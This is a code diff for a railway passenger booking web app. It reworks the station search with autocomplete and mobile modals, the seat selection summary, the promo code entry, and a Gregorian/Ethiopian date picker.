+ + ); +} + +// ─── Station Autocomplete (Desktop dropdown) ────────────────────────────────── +function StationDropdown({ + stations, + value, + excludeId, + placeholder, + onSelect, + error, + recentIds, +}: { + stations: Station[]; + value: string; + excludeId?: string; + placeholder: string; + onSelect: (s: Station) => void; + error?: string; + recentIds: string[]; +}) { + const [query, setQuery] = useState(''); + const [open, setOpen] = useState(false); + const ref = useRef(null); + const inputRef = useRef(null); + const selectedStation = stations.find((s) => s.id === value); + + useEffect(() => { + if (selectedStation && !open) setQuery(''); + }, [selectedStation, open]); + + useEffect(() => { + const handler = (e: MouseEvent) => { + if (ref.current && !ref.current.contains(e.target as Node)) setOpen(false); + }; + document.addEventListener('mousedown', handler); + return () => document.removeEventListener('mousedown', handler); + }, []); + + const filtered = query.trim() + ? stations.filter( + (s) => + s.id !== excludeId && + (s.name.toLowerCase().includes(query.toLowerCase()) || + s.code?.toLowerCase().includes(query.toLowerCase())) + ) + : stations.filter((s) => s.id !== excludeId).slice(0, 8); + + const displayValue = open ? query : (selectedStation?.name ?? ''); + + return ( +
+
+ + { setQuery(e.target.value); setOpen(true); }} + onFocus={() => { setQuery(''); setOpen(true); }} + placeholder={placeholder} + className="w-full pl-10 pr-8 py-3.5 bg-transparent rounded-xl focus:outline-none text-sm text-gray-900 dark:text-white placeholder-gray-400" + /> + {value && ( + + )} +
+ + {open && ( +
+ {!query && recentIds.length > 0 && ( +
+

Recent

+ {recentIds + .map((id) => stations.find((s) => s.id === id)) + .filter(Boolean) + .map((s) => ( + + ))} +
+
+ )} + {filtered.length === 0 ? ( +

No stations found

+ ) : ( + filtered.map((s) => ( + + )) + )} +
+ )} +
+ ); +} + +// ─── Main Page ──────────────────────────────────────────────────────────────── export default function SearchPage() { const router = useRouter(); const searchParams = useSearchParams(); const setSearchCriteria = useBookingStore((s) => s.setSearchCriteria); const { user, isAuthenticated } = useAuthStore(); - const [isPassengerOpen, setIsPassengerOpen] = useState(false); - const [promoCode, setPromoCode] = useState(''); - const [promoValidation, setPromoValidation] = useState<{ valid: boolean; message: string; discount?: string } | null>(null); - const [promoLoading, setPromoLoading] = useState(false); - const { data: stations, isLoading, error } = useQuery({ + const [isPassengerOpen, setIsPassengerOpen] = useState(false); + const [passengerModalOpen, setPassengerModalOpen] = useState(false); + const [promoVisible, setPromoVisible] = useState(false); + const [promoCode, setPromoCode] = useState(''); + const [promoValidation, setPromoValidation] = useState<{ valid: boolean; message: string } | null>(null); + const [promoLoading, setPromoLoading] = useState(false); + const [swapping, setSwapping] = useState(false); + const [stationModal, setStationModal] = useState<'origin' | 'destination' | null>(null); + const [recentStationIds, setRecentStationIds] = useState(() => { + try { return JSON.parse(localStorage.getItem('edr_recent_stations') || '[]'); } catch { return []; } + }); + const passengerRef = useRef(null); + + const { data: stations = [], isLoading, error } = useQuery({ queryKey: ['stations'], - queryFn: async (): Promise => { - const response = await apiClient.get('/stations') as Station[]; - return response; - }, + queryFn: async () => await apiClient.get('/stations') as Station[], }); const { register, handleSubmit, watch, setValue, formState: { errors } } = useForm({ - resolver: zodResolver(searchSchema), + resolver: zodResolver(searchSchema as any), defaultValues: { adultCount: 1, childCount: 0, @@ -59,61 +414,72 @@ export default function SearchPage() { useEffect(() => { if (isAuthenticated && user?.nationality) { - const normalized = user.nationality.toUpperCase().trim(); - if (normalized.includes('DJIBOUTIAN') || normalized === 'DJIBOUTIAN') { - setValue('nationality', 'DJIBOUTIAN'); - } else if (normalized.includes('ETHIOPIAN') || normalized === 'ETHIOPIAN') { - setValue('nationality', 'ETHIOPIAN'); - } else { - setValue('nationality', 'OTHER'); - } + const n = user.nationality.toUpperCase().trim(); + setValue('nationality', n.includes('DJIBOUTIAN') ? 'DJIBOUTIAN' : n.includes('ETHIOPIAN') ? 'ETHIOPIAN' : 'OTHER'); } }, [isAuthenticated, user?.nationality, setValue]); useEffect(() => { - const origin = searchParams.get('origin'); - const destination = searchParams.get('destination'); + const o = searchParams.get('origin'); + const d = searchParams.get('destination'); const date = searchParams.get('date'); const adults = searchParams.get('adults'); const children = searchParams.get('children'); - const nationality = searchParams.get('nationality'); - - if (origin) setValue('originStationId', origin); - if (destination) setValue('destinationStationId', destination); + const nat = searchParams.get('nationality'); + if (o) setValue('originStationId', o); + if (d) setValue('destinationStationId', d); if (date) setValue('departureDate', date); if (adults) setValue('adultCount', parseInt(adults)); if (children) setValue('childCount', parseInt(children)); - if (nationality) setValue('nationality', nationality as 'ETHIOPIAN' | 'DJIBOUTIAN' | 'OTHER'); + if (nat) setValue('nationality', nat as 'ETHIOPIAN' | 'DJIBOUTIAN' | 'OTHER'); }, [searchParams, setValue]); + useEffect(() => { + const handler = (e: MouseEvent) => { + if (passengerRef.current && !passengerRef.current.contains(e.target as Node)) { + setIsPassengerOpen(false); + } + }; + document.addEventListener('mousedown', handler); + return () => document.removeEventListener('mousedown', handler); + }, []); + const originId = watch('originStationId'); + const destId = watch('destinationStationId'); const adultCount = watch('adultCount'); const childCount = watch('childCount'); + const departureDate = watch('departureDate'); + const totalPassengers = (adultCount || 1) + (childCount || 0); + + const saveRecent = useCallback((id: string) => { + setRecentStationIds((prev) => { + const next = [id, ...prev.filter((x) => x !== id)].slice(0, 5); + localStorage.setItem('edr_recent_stations', JSON.stringify(next)); + return next; + }); + }, []); + + const handleSwap = () => { + if (!originId || !destId) return; + setSwapping(true); + setTimeout(() => { + setValue('originStationId', destId); + setValue('destinationStationId', originId); + setSwapping(false); + }, 300); + }; const handleValidatePromo = async () => { - if (!promoCode.trim()) { - setPromoValidation(null); - return; - } - + if (!promoCode.trim()) return setPromoValidation(null); setPromoLoading(true); try { - const response = await apiClient.post('/promos/validate', { code: promoCode }) as any; - setPromoValidation({ - valid: response.applicable || response.valid, - message: response.message || (response.applicable ? 'Promo code applied successfully!' : 'Invalid promo code'), - discount: response.message, - }); - if (response.applicable || response.valid) { - setValue('promoCode', promoCode); - } else { - setPromoCode(''); - } + const res = await apiClient.post('/promos/validate', { code: promoCode }) as any; + const valid = res.applicable || res.valid; + setPromoValidation({ valid, message: res.message || (valid ? 'Promo applied!' : 'Invalid promo code') }); + if (valid) setValue('promoCode', promoCode); + else setPromoCode(''); } catch (err: any) { - setPromoValidation({ - valid: false, - message: err?.response?.data?.message || 'Promo code is invalid or expired', - }); + setPromoValidation({ valid: false, message: err?.response?.data?.message || 'Promo code is invalid or expired' }); setPromoCode(''); } finally { setPromoLoading(false); @@ -122,6 +488,8 @@ export default function SearchPage() { const onSubmit = (data: SearchForm) => { setSearchCriteria(data); + if (data.originStationId) saveRecent(data.originStationId); + if (data.destinationStationId) saveRecent(data.destinationStationId); const params = new URLSearchParams({ origin: data.originStationId, destination: data.destinationStationId, @@ -134,300 +502,380 @@ export default function SearchPage() { router.push(`/booking/results?${params}`); }; - const getStationByName = (name: string) => { - if (!stations) return null; - const exactMatch = stations.find(s => s.name.toLowerCase() === name.toLowerCase()); - if (exactMatch) return exactMatch; - return stations.find(s => s.name.toLowerCase().includes(name.toLowerCase())); - }; + const getStationById = (id: string) => stations.find((s) => s.id === id); + const originStation = getStationById(originId); + const destStation = getStationById(destId); const handlePopularRoute = (fromName: string, toName: string) => { - const origin = getStationByName(fromName); - const destination = getStationByName(toName); - - if (origin && destination) { + const origin = stations.find((s) => s.name.toLowerCase().includes(fromName.toLowerCase())); + const dest = stations.find((s) => s.name.toLowerCase().includes(toName.toLowerCase())); + if (origin && dest) { setValue('originStationId', origin.id); - setValue('destinationStationId', destination.id); + setValue('destinationStationId', dest.id); window.scrollTo({ top: 0, behavior: 'smooth' }); } }; - const popularRoutes = [ - { from: 'Sebeta', to: 'Nagad', duration: '12h' }, - { from: 'Sebeta', to: 'Diredawa', duration: '8h' }, - { from: 'Diredawa', to: 'Nagad', duration: '4h' }, - ]; - return ( -
- {/* Search Section */} -
+
+ {/* Passenger modal (mobile) */} + {passengerModalOpen && ( + setValue('adultCount', n)} + onChangeChild={(n) => setValue('childCount', n)} + onClose={() => setPassengerModalOpen(false)} + /> + )} + + {/* Station modals (mobile) */} + {stationModal === 'origin' && ( + { + if (s.id) { setValue('originStationId', s.id); saveRecent(s.id); } + setStationModal(null); + }} + onClose={() => setStationModal(null)} + /> + )} + {stationModal === 'destination' && ( + { + if (s.id) { setValue('destinationStationId', s.id); saveRecent(s.id); } + setStationModal(null); + }} + onClose={() => setStationModal(null)} + /> + )} + + {/* Hero Banner */} +
+
+
+
+
+
+
+
+

+ Where are you headed? +

+

Search and book train tickets fast & easy

+
+
+
+ + {/* Search Card — pulled up over the hero */} +
- {/* Search Card */} -
- {/* Header inside card */} -
-

- Start booking -

-

- Search for available trains and book your journey -

-
- {error && ( -
-
⚠️
-
-

Connection Error

-

Unable to load stations. Please check your connection and try again.

-
-
- )} - -
- {/* First Row: From, To, Date */} -
- {/* From */} -
- -
- - -
- {errors.originStationId && ( -

{errors.originStationId.message}

- )} + +
+ + {/* Error banner */} + {error && ( +
+ ⚠️ + Unable to load stations. Please check your connection.
+ )} - {/* To */} -
- -
- - -
- {errors.destinationStationId && ( -

{errors.destinationStationId.message}

- )} -
+
- {/* Date */} -
- - { - const year = date.getFullYear(); - const month = String(date.getMonth() + 1).padStart(2, '0'); - const day = String(date.getDate()).padStart(2, '0'); - setValue('departureDate', `${year}-${month}-${day}`); - }} - minDate={new Date()} - placeholder="Select date" - /> - {errors.departureDate && ( -

{errors.departureDate.message}

- )} -
-
+ {/* ── Row 1 (mobile stacked): Stations + Date ── */} - {/* Second Row: Passengers, Nationality */} -
- {/* Passengers Dropdown */} -
- - - - {/* Passenger Dropdown Menu */} - {isPassengerOpen && ( - <> -
setIsPassengerOpen(false)} /> -
- {/* Adults */} -
-
-
-
Adults
-
≥5 years
-
-
- - {adultCount || 1} - -
-
-
- - {/* Children */} -
-
-
-
Children
-
<5 years • First free
-
-
- - {childCount || 0} - -
-
-
+ {/* Mobile station fields */} +
+
+ +
- - {/* Nationality */} -
- - -
- - {/* Promo Code with Validation */} -
- -
-
- - { - setPromoCode(e.target.value.toUpperCase()); - if (promoValidation) setPromoValidation(null); - }} - placeholder="Enter code" - className="w-full pl-10 pr-4 py-3.5 border border-gray-300 dark:border-gray-600 rounded-lg focus:outline-none focus:ring-2 focus:ring-primary focus:border-transparent text-base bg-white dark:bg-gray-700 text-gray-900 dark:text-gray-100 placeholder-gray-500 dark:placeholder-gray-400" - onKeyPress={(e) => e.key === 'Enter' && handleValidatePromo()} + + {errors.originStationId &&

{errors.originStationId.message}

} +
+
+
+ + +
+ + {errors.destinationStationId &&

{errors.destinationStationId.message}

} +
+ {/* Date (mobile) */} +
+ +
+ setValue('departureDate', `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, '0')}-${String(date.getDate()).padStart(2, '0')}`)} + minDate={new Date()} + placeholder="Select date" />
+ {errors.departureDate &&

{errors.departureDate.message}

} +
+
+ + {/* Desktop Row 1: From [swap] To + Date (3 equal cols) */} +
+ {/* From + To with swap */} +
+
+ + { setValue('originStationId', s.id); if (s.id) saveRecent(s.id); }} error={errors.originStationId?.message} /> + {errors.originStationId &&

{errors.originStationId.message}

} +
+
+ + { setValue('destinationStationId', s.id); if (s.id) saveRecent(s.id); }} error={errors.destinationStationId?.message} /> + {errors.destinationStationId &&

{errors.destinationStationId.message}

} +
- {promoValidation && ( -
- {promoValidation.valid && } - {promoValidation.message} + {/* Date */} +
+ +
+ setValue('departureDate', `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, '0')}-${String(date.getDate()).padStart(2, '0')}`)} + minDate={new Date()} + placeholder="Select date" + /> +
+ {errors.departureDate &&

{errors.departureDate.message}

} +
+
+ + {/* Route preview pill */} + {originStation && destStation && ( +
+ + {originStation.name} + + {destStation.name} +
+ )} + + {/* ── Row 2: Passengers | Nationality | Search Button ── */} +
+ + {/* Passengers */} +
+ + + {/* Mobile: opens bottom-sheet modal */} + + + {/* sm+: inline dropdown */} +
+ + {isPassengerOpen && ( +
+ {[ + { label: 'Adults', sub: '≥ 5 years', key: 'adultCount' as const, val: adultCount || 1, min: 1, max: 9 }, + { label: 'Children', sub: '< 5 years • First free', key: 'childCount' as const, val: childCount || 0, min: 0, max: 9 }, + ].map(({ label, sub, key, val, min, max }, i) => ( +
+ {i > 0 &&
} +
+
+

{label}

+

{sub}

+
+
+ + {val} + +
+
+
+ ))} + +
+ )} +
+
+ + {/* Nationality */} +
+ + +
+ + {/* Search Button */} + +
+ + {/* ── Promo Code (collapsed by default) ── */} +
+ {!promoVisible ? ( + + ) : ( +
+
+
+ + { setPromoCode(e.target.value.toUpperCase()); if (promoValidation) setPromoValidation(null); }} + placeholder="Enter promo code" + onKeyDown={(e) => e.key === 'Enter' && (e.preventDefault(), handleValidatePromo())} + className="w-full pl-9 pr-3 py-2.5 border-2 border-gray-200 dark:border-gray-700 rounded-xl focus:outline-none focus:ring-2 focus:ring-primary/30 focus:border-primary text-sm bg-white dark:bg-gray-800 text-gray-900 dark:text-white placeholder-gray-400 transition-all" + autoFocus + /> +
+ + +
+ {promoValidation && ( +
+ {promoValidation.valid && } + {promoValidation.message} +
+ )}
)}
-
- {/* Third Row: Search Button */} -
-
- -
+
+ - {/* Popular Routes */} -
-

Popular Routes

-
- {popularRoutes.map((route, idx) => ( + {/* ── Popular Routes ── */} +
+
+ +

Popular Routes

+
+
+ {POPULAR_ROUTES.map((route, idx) => ( ))}
-
+ +
); } diff --git a/apps/edr-passenger-web/portal/src/app/booking/seats/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/seats/page.tsx index adeae8102..fc165c4f4 100644 --- a/apps/edr-passenger-web/portal/src/app/booking/seats/page.tsx +++ b/apps/edr-passenger-web/portal/src/app/booking/seats/page.tsx @@ -224,6 +224,7 @@ export default function SeatsPage() { if (bookingId && selectedSeats.length > 0) { bookSeatsMutation.mutate(selectedSeats); } + // eslint-disable-next-line react-hooks/exhaustive-deps }, [bookingId]); const parseSeatArrangement = (arrangement: string | null): number[] => { @@ -394,6 +395,72 @@ export default function SeatsPage() { if (!selectedSchedule || !passengers.length) return null; + const allSelected = selectedSeats.length === passengers.length; + const isBedCoach = selectedCoachData?.seatClass?.toLowerCase().includes('bed') || selectedCoachData?.mode?.toLowerCase().includes('bed'); + + // Summary card content — shared between sidebar and mobile modal + const SummaryContent = () => ( + <> +
+

Selection Summary

+ + {selectedSeats.length}/{passengers.length} selected + +
+

+ {allSelected ? 'All seats selected — ready to continue' : `Select ${passengers.length - selectedSeats.length} more seat(s)`} +

+ + {/* Progress bar */} +
+
+
+ +
+ {passengers.map((p, i) => { + const assignedSeat = selectedSeats[i] ? validSeats?.find((s: any) => s.id === selectedSeats[i]) : null; + const seatLabel = assignedSeat ? (assignedSeat.number || assignedSeat.label || assignedSeat.seatNumber || '—') : '—'; + const bedLabel = assignedSeat ? getBedLabel(assignedSeat.bedPosition) : ''; + return ( +
+
+
{i + 1}
+ {p.name} +
+ + {assignedSeat ? `${seatLabel}${bedLabel}` : 'Not selected'} + +
+ ); + })} +
+ + + + + ); + return ( <> -
-
-
-
+ + {/* Mobile summary bottom-sheet */} + {selectedSeats.length > 0 && ( + <> +
+
+ +
+ + + )} + +
+ {/* Header */} +
+
+
+

Select Seats

+
+ {selectedSeats.length}/{passengers.length} +
- -

Select seats

+
+
-
-
+
+
+
+ + {/* ── Seat map panel ── */} +
{isLoading ? ( -
-
-

Loading seats...

-
+
+
+

Loading seat map...

) : error ? ( -
-
-

Error loading seats

-

{error?.message || 'Please try again'}

-
+
+

Error loading seats

+

{(error as any)?.message || 'Please try again'}

) : filteredCoaches.length === 0 ? ( -
-
-

No coaches available for {selectedSchedule?.selectedSeatClass}

-

Please select a different seat class

-
+
+

No coaches available for {selectedSchedule?.selectedSeatClass}

) : ( -
-
-

Select coach

-
- {filteredCoaches?.map((coach: any) => { + <> + {/* Coach selector */} +
+

Coach

+
+ {filteredCoaches.map((coach: any) => { const coachSeats = coach.seats?.filter((s: any) => s.seatNumber && !s.seatNumber.startsWith('-')) || []; - const isBedCoach = coach.seatClass?.toLowerCase().includes('bed') || coach.mode?.toLowerCase().includes('bed'); - let filteredSeats = coachSeats; - if (isBedCoach && selectedSchedule?.selectedSeatClass) { + const isBed = coach.seatClass?.toLowerCase().includes('bed') || coach.mode?.toLowerCase().includes('bed'); + let fSeats = coachSeats; + if (isBed && selectedSchedule?.selectedSeatClass) { const bedPos = getBedPosition(selectedSchedule.selectedSeatClass); - if (bedPos) { - filteredSeats = coachSeats.filter((s: any) => s.bedPosition === bedPos); - } + if (bedPos) fSeats = coachSeats.filter((s: any) => s.bedPosition === bedPos); } - const availableCount = filteredSeats.filter((s: any) => s.status === 'AVAILABLE').length || 0; - const seatClassName = selectedSchedule?.selectedSeatClass || (typeof coach.seatClass === 'string' ? coach.seatClass : (coach.seatClass?.name || coach.coachClass || '')); + const available = fSeats.filter((s: any) => s.status === 'AVAILABLE').length; + const isActive = selectedCoach === coach.id; return ( ); })}
-
-

- Seat map - {selectedCoachData?.name || selectedCoachData?.label || selectedCoachData?.coachNumber} -

- {selectedCoachData && ( -

- Arrangement: {selectedCoachData.seatArrangement} • Total: {selectedCoachData.totalSeats} seats -

- )} - -
-
-
- Available -
-
-
- Selected -
-
-
- Held -
-
-
- Booked -
+ {/* Seat map */} +
+
+

+ {selectedCoachData?.name || selectedCoachData?.label || selectedCoachData?.coachNumber} +

+ {selectedCoachData?.seatArrangement}
-
- {validSeats.length === 0 ? ( -
-

No seats available in this coach

-

Please select a different coach

+ {/* Legend */} +
+ {[ + { color: 'bg-green-500', label: 'Available' }, + { color: 'bg-[rgb(20,113,76)]', label: 'Selected' }, + { color: 'bg-yellow-500', label: 'Held' }, + { color: 'bg-gray-400', label: 'Booked' }, + ].map(({ color, label }) => ( +
+
+ {label}
- ) : ( - renderCoachSeats(selectedCoachData, (selectedCoachData.seatClass?.toLowerCase().includes('bed') || selectedCoachData.mode?.toLowerCase().includes('bed'))) - )} + ))} +
+ +
+
+ {validSeats.length === 0 ? ( +

No seats in this coach

+ ) : ( + renderCoachSeats(selectedCoachData, isBedCoach) + )} +
-
+ )}
-
-
-

Selection summary

-

- Select {passengers.length} seat(s) for your passengers -

-

- {selectedSeats.length} / {passengers.length} selected -

- -
- {passengers.map((p, i) => { - const assignedSeat = selectedSeats[i] ? validSeats?.find((s: any) => s.id === selectedSeats[i]) : null; - const seatLabel = assignedSeat ? (assignedSeat.number || assignedSeat.label || assignedSeat.seatNumber || '-') : '-'; - const bedLabel = assignedSeat ? getBedLabel(assignedSeat.bedPosition) : ''; - return ( -
- {p.name} - - {seatLabel}{bedLabel} - -
- ); - })} -
- - - + {/* ── Sidebar summary (desktop only) ── */} +
+
+
+
+ + {/* Mobile spacer so bottom-sheet doesn't cover last seat */} +
diff --git a/apps/edr-passenger-web/portal/src/app/globals.css b/apps/edr-passenger-web/portal/src/app/globals.css index 640db836b..cf9ebe719 100644 --- a/apps/edr-passenger-web/portal/src/app/globals.css +++ b/apps/edr-passenger-web/portal/src/app/globals.css @@ -157,4 +157,22 @@ .animate-slide-in-right { animation: slide-in-right 0.5s ease-out; } + + @keyframes slide-up { + from { transform: translateY(100%); opacity: 0; } + to { transform: translateY(0); opacity: 1; } + } + + .animate-slide-up { + animation: slide-up 0.25s cubic-bezier(0.32, 0.72, 0, 1); + } + + .scrollbar-hide { + -ms-overflow-style: none; + scrollbar-width: none; + } + + .scrollbar-hide::-webkit-scrollbar { + display: none; + } } diff --git a/apps/edr-passenger-web/portal/src/app/login/page.tsx b/apps/edr-passenger-web/portal/src/app/login/page.tsx index 77cd2fcad..86ac4dcce 100644 --- a/apps/edr-passenger-web/portal/src/app/login/page.tsx +++ b/apps/edr-passenger-web/portal/src/app/login/page.tsx @@ -23,7 +23,7 @@ function LoginContent() { const [loading, setLoading] = useState(false); const { register, handleSubmit, formState: { errors } } = useForm({ - resolver: zodResolver(loginSchema), + resolver: zodResolver(loginSchema as any), }); const onSubmit = async (data: LoginForm) => { diff --git a/apps/edr-passenger-web/portal/src/components/Footer.tsx b/apps/edr-passenger-web/portal/src/components/Footer.tsx index 00784682f..8d1aa1394 100644 --- a/apps/edr-passenger-web/portal/src/components/Footer.tsx +++ b/apps/edr-passenger-web/portal/src/components/Footer.tsx @@ -1,6 +1,6 @@ 'use client'; -import { Facebook, Twitter, Instagram, Linkedin, Mail, Phone, MapPin } from 'lucide-react'; +import { Mail, Phone, MapPin } from 'lucide-react'; import Link from 'next/link'; import { useLanguage, getTranslation, Language } from '@/lib/i18n'; import { useEffect, useState } from 'react'; @@ -102,41 +102,17 @@ export function Footer() {

{t('footer.follow')}

diff --git a/apps/edr-passenger-web/portal/src/components/ModernDatePicker.tsx b/apps/edr-passenger-web/portal/src/components/ModernDatePicker.tsx index 4d9c90255..5ea145bba 100644 --- a/apps/edr-passenger-web/portal/src/components/ModernDatePicker.tsx +++ b/apps/edr-passenger-web/portal/src/components/ModernDatePicker.tsx @@ -28,16 +28,23 @@ export default function ModernDatePicker({ placeholder = 'Select date', }: ModernDatePickerProps) { const [isOpen, setIsOpen] = useState(false); + const [isMobileView, setIsMobileView] = useState(false); const [calendarType, setCalendarType] = useState<'gregorian' | 'ethiopian'>('gregorian'); - const [viewMonth, setViewMonth] = useState(value?.getMonth() || new Date().getMonth()); - const [viewYear, setViewYear] = useState(value?.getFullYear() || new Date().getFullYear()); - - // Initialize Ethiopian calendar with current date + const [viewMonth, setViewMonth] = useState(value?.getMonth() ?? new Date().getMonth()); + const [viewYear, setViewYear] = useState(value?.getFullYear() ?? new Date().getFullYear()); + const initialEthDate = gregorianToEthiopian(value || new Date()); const [ethViewMonth, setEthViewMonth] = useState(initialEthDate.month); const [ethViewYear, setEthViewYear] = useState(initialEthDate.year); const containerRef = useRef(null); + useEffect(() => { + const check = () => setIsMobileView(window.innerWidth < 768); + check(); + window.addEventListener('resize', check); + return () => window.removeEventListener('resize', check); + }, []); + useEffect(() => { if (value) { setViewMonth(value.getMonth()); @@ -48,39 +55,27 @@ export default function ModernDatePicker({ } }, [value]); + // Lock body scroll when modal is open (both mobile and desktop modal) useEffect(() => { - const handleClickOutside = (event: MouseEvent) => { - if (containerRef.current && !containerRef.current.contains(event.target as Node)) { - setIsOpen(false); - } - }; - if (isOpen) { - document.addEventListener('mousedown', handleClickOutside); + document.body.style.overflow = 'hidden'; + } else { + document.body.style.overflow = ''; } - - return () => { - document.removeEventListener('mousedown', handleClickOutside); - }; + return () => { document.body.style.overflow = ''; }; }, [isOpen]); const toggleCalendarType = () => { const newType = calendarType === 'gregorian' ? 'ethiopian' : 'gregorian'; - + const ref = value || new Date(); if (newType === 'ethiopian') { - // When switching to Ethiopian, show the Ethiopian equivalent of current Gregorian view - // Use today's date if no value is selected, otherwise use the selected value - const referenceDate = value || new Date(); - const ethDate = gregorianToEthiopian(referenceDate); + const ethDate = gregorianToEthiopian(ref); setEthViewMonth(ethDate.month); setEthViewYear(ethDate.year); } else { - // When switching to Gregorian, show the Gregorian equivalent of current Ethiopian view - const referenceDate = value || new Date(); - setViewMonth(referenceDate.getMonth()); - setViewYear(referenceDate.getFullYear()); + setViewMonth(ref.getMonth()); + setViewYear(ref.getFullYear()); } - setCalendarType(newType); }; @@ -90,102 +85,46 @@ export default function ModernDatePicker({ }; const handleEthiopianDateSelect = (ethDate: EthiopianDate) => { - const gregDate = ethiopianToGregorian(ethDate); - handleDateSelect(gregDate); + handleDateSelect(ethiopianToGregorian(ethDate)); }; const renderGregorianCalendar = () => { const daysInMonth = new Date(viewYear, viewMonth + 1, 0).getDate(); - const firstDayOfMonth = new Date(viewYear, viewMonth, 1).getDay(); - const days: (number | null)[] = []; - - for (let i = 0; i < firstDayOfMonth; i++) { - days.push(null); - } - - for (let day = 1; day <= daysInMonth; day++) { - days.push(day); - } - - const monthNames = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December']; + const firstDay = new Date(viewYear, viewMonth, 1).getDay(); + const days: (number | null)[] = Array(firstDay).fill(null); + for (let d = 1; d <= daysInMonth; d++) days.push(d); + const monthNames = ['January','February','March','April','May','June','July','August','September','October','November','December']; return (
- -
- {monthNames[viewMonth]} {viewYear} -
-
-
- {['Su', 'Mo', 'Tu', 'We', 'Th', 'Fr', 'Sa'].map(day => ( -
- {day} -
+ {['Su','Mo','Tu','We','Th','Fr','Sa'].map(d => ( +
{d}
))}
-
- {days.map((day, index) => { - if (day === null) { - return
; - } - + {days.map((day, i) => { + if (day === null) return
; const date = new Date(viewYear, viewMonth, day); - const isSelected = value && - date.getDate() === value.getDate() && - date.getMonth() === value.getMonth() && - date.getFullYear() === value.getFullYear(); - const isToday = - date.getDate() === new Date().getDate() && - date.getMonth() === new Date().getMonth() && - date.getFullYear() === new Date().getFullYear(); - const isDisabled = - (minDate && date < new Date(minDate.getFullYear(), minDate.getMonth(), minDate.getDate())) || - (maxDate && date > new Date(maxDate.getFullYear(), maxDate.getMonth(), maxDate.getDate())); - + const isSelected = value && date.getDate() === value.getDate() && date.getMonth() === value.getMonth() && date.getFullYear() === value.getFullYear(); + const isToday = date.toDateString() === new Date().toDateString(); + const isDisabled = (minDate && date < new Date(minDate.getFullYear(), minDate.getMonth(), minDate.getDate())) || (maxDate && date > new Date(maxDate.getFullYear(), maxDate.getMonth(), maxDate.getDate())); return ( - ); @@ -197,133 +136,54 @@ export default function ModernDatePicker({ const renderEthiopianCalendar = () => { const daysInMonth = getDaysInEthiopianMonth(ethViewYear, ethViewMonth); - const days: number[] = []; - - for (let day = 1; day <= daysInMonth; day++) { - days.push(day); - } - const firstDate = ethiopianToGregorian({ year: ethViewYear, month: ethViewMonth, day: 1 }); const firstDayOfWeek = firstDate.getDay(); - - const daysWithOffset: (number | null)[] = []; - for (let i = 0; i < firstDayOfWeek; i++) { - daysWithOffset.push(null); - } - daysWithOffset.push(...days); - - // Get month name safely + const daysWithOffset: (number | null)[] = Array(firstDayOfWeek).fill(null); + for (let d = 1; d <= daysInMonth; d++) daysWithOffset.push(d); const monthName = ETHIOPIAN_MONTHS[ethViewMonth - 1] || `Month ${ethViewMonth}`; return (
- -
- {monthName} {ethViewYear} -
-
-
- {['Su', 'Mo', 'Tu', 'We', 'Th', 'Fr', 'Sa'].map(day => ( -
- {day} -
+ {['Su','Mo','Tu','We','Th','Fr','Sa'].map(d => ( +
{d}
))}
-
- {daysWithOffset.map((day, index) => { - if (day === null) { - return
; - } - + {daysWithOffset.map((day, i) => { + if (day === null) return
; const ethDate: EthiopianDate = { year: ethViewYear, month: ethViewMonth, day }; const gregDate = ethiopianToGregorian(ethDate); - - const isSelected = value && - gregDate.getDate() === value.getDate() && - gregDate.getMonth() === value.getMonth() && - gregDate.getFullYear() === value.getFullYear(); - - const today = new Date(); - const todayEth = gregorianToEthiopian(today); - const isToday = - ethDate.day === todayEth.day && - ethDate.month === todayEth.month && - ethDate.year === todayEth.year; - + const isSelected = value && gregDate.getDate() === value.getDate() && gregDate.getMonth() === value.getMonth() && gregDate.getFullYear() === value.getFullYear(); + const todayEth = gregorianToEthiopian(new Date()); + const isToday = ethDate.day === todayEth.day && ethDate.month === todayEth.month && ethDate.year === todayEth.year; let isDisabled = false; if (minDate) { - const minYear = minDate.getFullYear(); - const minMonth = minDate.getMonth(); - const minDay = minDate.getDate(); - const gregYear = gregDate.getFullYear(); - const gregMonth = gregDate.getMonth(); - const gregDay = gregDate.getDate(); - - if (gregYear < minYear || - (gregYear === minYear && gregMonth < minMonth) || - (gregYear === minYear && gregMonth === minMonth && gregDay < minDay)) { - isDisabled = true; - } + const [mY, mM, mD] = [minDate.getFullYear(), minDate.getMonth(), minDate.getDate()]; + const [gY, gM, gD] = [gregDate.getFullYear(), gregDate.getMonth(), gregDate.getDate()]; + if (gY < mY || (gY === mY && gM < mM) || (gY === mY && gM === mM && gD < mD)) isDisabled = true; } if (maxDate && !isDisabled) { - const maxYear = maxDate.getFullYear(); - const maxMonth = maxDate.getMonth(); - const maxDay = maxDate.getDate(); - const gregYear = gregDate.getFullYear(); - const gregMonth = gregDate.getMonth(); - const gregDay = gregDate.getDate(); - - if (gregYear > maxYear || - (gregYear === maxYear && gregMonth > maxMonth) || - (gregYear === maxYear && gregMonth === maxMonth && gregDay > maxDay)) { - isDisabled = true; - } + const [mY, mM, mD] = [maxDate.getFullYear(), maxDate.getMonth(), maxDate.getDate()]; + const [gY, gM, gD] = [gregDate.getFullYear(), gregDate.getMonth(), gregDate.getDate()]; + if (gY > mY || (gY === mY && gM > mM) || (gY === mY && gM === mM && gD > mD)) isDisabled = true; } - return ( - ); @@ -333,62 +193,128 @@ export default function ModernDatePicker({ ); }; + const calendarFooter = value && ( +
+
+ Gregorian: + {format(value, 'MMMM d, yyyy')} +
+
+ Ethiopian: + {formatEthiopianDate(gregorianToEthiopian(value))} +
+
+ ); + + // Shared modal content (used by both mobile and desktop) + const modalContent = ( +
+ {/* Header row: title + close */} +
+
+ +

Select Date

+
+ +
+ + {/* Toggle row: always full-width, clearly visible */} +
+
+ + +
+
+ + {/* Calendar body */} +
+ {calendarType === 'gregorian' ? renderGregorianCalendar() : renderEthiopianCalendar()} + {calendarFooter} +
+
+ ); + return (
+ {/* Trigger button */} {isOpen && ( -
-
-
- - - {calendarType === 'gregorian' ? 'Gregorian Calendar' : 'Ethiopian Calendar'} - -
-
- - -
-
+ <> - {calendarType === 'gregorian' ? renderGregorianCalendar() : renderEthiopianCalendar()} - - {value && ( -
-
- Gregorian: - {format(value, 'MMMM d, yyyy')} -
-
- Ethiopian: - {formatEthiopianDate(gregorianToEthiopian(value))} -
+ {/* Mobile: full-screen takeover */} + {isMobileView ? ( +
+ {modalContent}
+ ) : ( + /* Desktop: centred modal with backdrop */ + <> +
